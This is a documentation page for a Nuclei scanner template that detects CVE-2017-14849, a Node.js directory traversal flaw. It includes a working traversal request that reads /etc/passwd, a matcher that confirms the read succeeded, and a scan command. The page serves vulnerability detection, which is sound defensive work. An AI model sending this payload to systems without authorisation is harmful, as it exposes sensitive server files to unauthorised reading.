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Nuclei Templates

Node.js <8.6.0 - Directory Traversal

ID: CVE-2017-14849

Severity: high

Author: Random_Robbie

Tags: cve2017,cve,nodejs,lfi

Description

Section titled “Description”

Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ”..” handling is incompatible with the pathname validation used by unspecified community modules.

YAML Source

Section titled “YAML Source”
id: CVE-2017-14849


info:
  name: Node.js <8.6.0 - Directory Traversal
  author: Random_Robbie
  severity: high
  description: Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.
  reference:
    - https://twitter.com/nodejs/status/913131152868876288
    - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14849
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-14849
    cwe-id: CWE-22
    epss-score: 0.96684
    epss-percentile: 0.99644
    cpe: cpe:2.3:a:nodejs:node.js:8.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2017,cve,nodejs,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a004730450220797ddb03bd4773fb017a5110cc0257a0db2c5e4726918101bd0d6dfe46f9ebbf022100a1822d39247759a6e3c866f6f889650741e147192bd8aded5e658bfa80627472:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-14849.yaml"

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